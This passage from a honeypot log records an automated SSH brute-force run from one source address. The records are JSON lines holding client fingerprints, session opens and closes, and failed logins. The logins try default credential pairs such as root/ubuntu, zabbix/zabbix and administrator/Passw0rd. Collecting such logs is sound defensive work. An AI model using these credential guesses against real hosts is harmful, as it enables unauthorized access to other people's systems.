{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:20.379790Z","src_ip":"45.156.87.147","session":"482960e34931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:20.461005Z","src_ip":"45.156.87.147","session":"482960e34931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:20.712557Z","src_ip":"45.156.87.147","session":"482960e34931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:21.802404Z","src_ip":"45.156.87.147","session":"482960e34931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58656,"dst_ip":"10.17.0.5","dst_port":22,"session":"873f8b6e18d5","protocol":"ssh","message":"New connection: 45.156.87.147:58656 (10.17.0.5:22) [session: 873f8b6e18d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:26.550823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:26.554857Z","src_ip":"45.156.87.147","session":"873f8b6e18d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:26.635632Z","src_ip":"45.156.87.147","session":"873f8b6e18d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:26.893587Z","src_ip":"45.156.87.147","session":"873f8b6e18d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13720679283142,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:27.928607Z","src_ip":"172.81.62.90","session":"7e26ad87d78a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:27.979479Z","src_ip":"45.156.87.147","session":"873f8b6e18d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40636,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3704aee92f0","protocol":"ssh","message":"New connection: 45.156.87.147:40636 (10.17.0.5:22) [session: a3704aee92f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:32.851613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:32.855123Z","src_ip":"45.156.87.147","session":"a3704aee92f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:32.937969Z","src_ip":"45.156.87.147","session":"a3704aee92f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:33.184649Z","src_ip":"45.156.87.147","session":"a3704aee92f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:34.269876Z","src_ip":"45.156.87.147","session":"a3704aee92f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58264,"dst_ip":"10.17.0.5","dst_port":22,"session":"053395890d08","protocol":"ssh","message":"New connection: 45.156.87.147:58264 (10.17.0.5:22) [session: 053395890d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:39.330506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:39.333146Z","src_ip":"45.156.87.147","session":"053395890d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:39.420580Z","src_ip":"45.156.87.147","session":"053395890d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:39.675203Z","src_ip":"45.156.87.147","session":"053395890d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:40.762857Z","src_ip":"45.156.87.147","session":"053395890d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58278,"dst_ip":"10.17.0.5","dst_port":22,"session":"45bc176651e5","protocol":"ssh","message":"New connection: 45.156.87.147:58278 (10.17.0.5:22) [session: 45bc176651e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:45.867583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:45.871782Z","src_ip":"45.156.87.147","session":"45bc176651e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:45.953130Z","src_ip":"45.156.87.147","session":"45bc176651e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:46.198736Z","src_ip":"45.156.87.147","session":"45bc176651e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:47.286867Z","src_ip":"45.156.87.147","session":"45bc176651e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52162,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c6d2298706","protocol":"ssh","message":"New connection: 45.156.87.147:52162 (10.17.0.5:22) [session: c5c6d2298706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:51.795114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:51.800854Z","src_ip":"45.156.87.147","session":"c5c6d2298706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:51.886588Z","src_ip":"45.156.87.147","session":"c5c6d2298706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:52.136385Z","src_ip":"45.156.87.147","session":"c5c6d2298706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:53.220837Z","src_ip":"45.156.87.147","session":"c5c6d2298706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52174,"dst_ip":"10.17.0.5","dst_port":22,"session":"7524073b0a5c","protocol":"ssh","message":"New connection: 45.156.87.147:52174 (10.17.0.5:22) [session: 7524073b0a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:57.900946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:57.905331Z","src_ip":"45.156.87.147","session":"7524073b0a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:57.989463Z","src_ip":"45.156.87.147","session":"7524073b0a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:58.246302Z","src_ip":"45.156.87.147","session":"7524073b0a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:59.331454Z","src_ip":"45.156.87.147","session":"7524073b0a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34490,"dst_ip":"10.17.0.5","dst_port":22,"session":"88397d3ef437","protocol":"ssh","message":"New connection: 45.156.87.147:34490 (10.17.0.5:22) [session: 88397d3ef437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:03.958063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:03.962346Z","src_ip":"45.156.87.147","session":"88397d3ef437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:04.048091Z","src_ip":"45.156.87.147","session":"88397d3ef437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:04.380125Z","src_ip":"45.156.87.147","session":"88397d3ef437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:05.465826Z","src_ip":"45.156.87.147","session":"88397d3ef437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38722,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a0b7479727d","protocol":"ssh","message":"New connection: 45.156.87.147:38722 (10.17.0.5:22) [session: 8a0b7479727d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:09.849050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:09.852906Z","src_ip":"45.156.87.147","session":"8a0b7479727d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-